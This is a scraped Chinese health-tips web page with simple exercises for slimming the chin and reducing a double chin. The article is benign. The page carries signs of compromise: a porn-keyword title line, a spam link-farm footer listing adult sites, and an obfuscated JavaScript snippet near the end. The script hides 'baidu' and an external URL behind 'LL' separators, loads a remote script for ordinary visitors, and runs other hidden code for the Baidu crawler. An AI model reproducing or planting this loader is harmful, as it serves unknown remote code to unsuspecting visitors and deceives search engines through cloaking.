久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

瘦下巴運動怎么做呢?

2017-04-21 14:58:34  來源:360常識網   熱度:
導語:在生活中你是不是會特別羨慕很多女生能夠有一個完美的瓜子臉呢?但其實想要一個瓜子臉是非常簡單的,你只需要讓你的下巴瘦下來就可以了,但

生活中你是不是會特別羨慕很多女生能夠有一個完美的瓜子臉呢?但其實想要一個瓜子臉是非常簡單的,你只需要讓你的下巴瘦下來就可以了,但是很多人對于瘦下巴的方式并不是很了解,而且還有很多人為了瘦下來去做手術,這樣對你的身體是非常不好的,而且還有可能會有后遺癥,所以下面小編介紹幾種比較健康的瘦下巴的方法。

一、舌頭動動消雙下巴

1、仰面橫躺在床上。用肩部支撐著,并把頭懸在床沿以外,然后慢慢抬起再下落,反復進行10次。

2、不移動肩膀,只將頸部前伸盡可能的遠,堅持6秒鐘,然后慢慢將你的下巴盡可能地向下拉到頸部,將此動作保持6秒鐘后放松下來,再重復多次。

3、伸出舌頭這個小動作,是令雙下巴和脖子之間的皮膚保持不松弛的理想方法,這樣就可以防止形成雙下巴,也能讓形成的雙下巴減輕。

4、把舌頭用力頂下顎的牙肉,同樣可以收到收緊頸部肌膚的功效,減輕雙下巴。

二、美麗發聲下巴鍛煉法

1、將嘴張大,依次發出“啊”、“一”、“屋”、“耶”、“喔”的聲音。

2、并依照上面發出的聲音形成不同的嘴形,聲音需要從腹部發出,并且要有力量,每天反復練習約5分鐘。

這個方法是通過不同聲音的練習,鍛煉下巴的肌肉,使得脂肪無法在下巴的部位累積。這樣久而久之就能夠使下巴的肌肉緊實有力,改善肥厚現象。

三、用餐咀嚼鍛煉法

1.利用用餐時練習,每次進食時,將食物反復咀嚼。

2.咀嚼時,可以感覺到下巴的肌肉被牽動。

經常做這些運動的話你的下巴肯定會很快就瘦下來,而且還會非常的漂亮,但是你千萬不可以因為做了幾天沒有看到效果就放棄,這是一個比較漫長的過程,但是肯定是有用的,相比起你去做手術會健康很多,對你的身體也很有幫助。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美一级特黄aaaaaaa视频片 | 亚洲精品久久久 | 国产精品美女久久久久图片 | 久久精品视频网站 | 精品久久久精品 | 欧美色影院 | 日韩在线观看一区 | 亚洲毛片网站 | 欧美高清成人 | 成人av在线网 | www国产亚洲精品久久网站 | 一区二区久久 | 日本黄色精品 | 久久小视频 | 91精品在线观看入口 | 韩国精品主播一区二区在线观看 | 91不卡| 精品成人免费一区二区在线播放 | 欧美一区二区三区四区视频 | 91日韩精品一区二区三区 | 亚洲精品做爰大胆视频在线 | 黄色的网站免费观看 | 亚洲免费一区 | 成年人在线视频播放 | 国产毛片在线 | 欧美日韩在线一区二区 | 狠狠伊人 | 成人高清在线观看 | 久久综合久久综合久久综合 | 久久精品小视频 | 一区二区三区自拍 | 久久国产精品久久 | 国内精品成人 | 亚洲黄色大片在线观看 | 91亚洲国产 | 色站综合| 成人福利在线观看 | 国产成人精品综合 | 日韩一区免费观看 | 欧美日韩中文在线观看 | 超碰青青青 |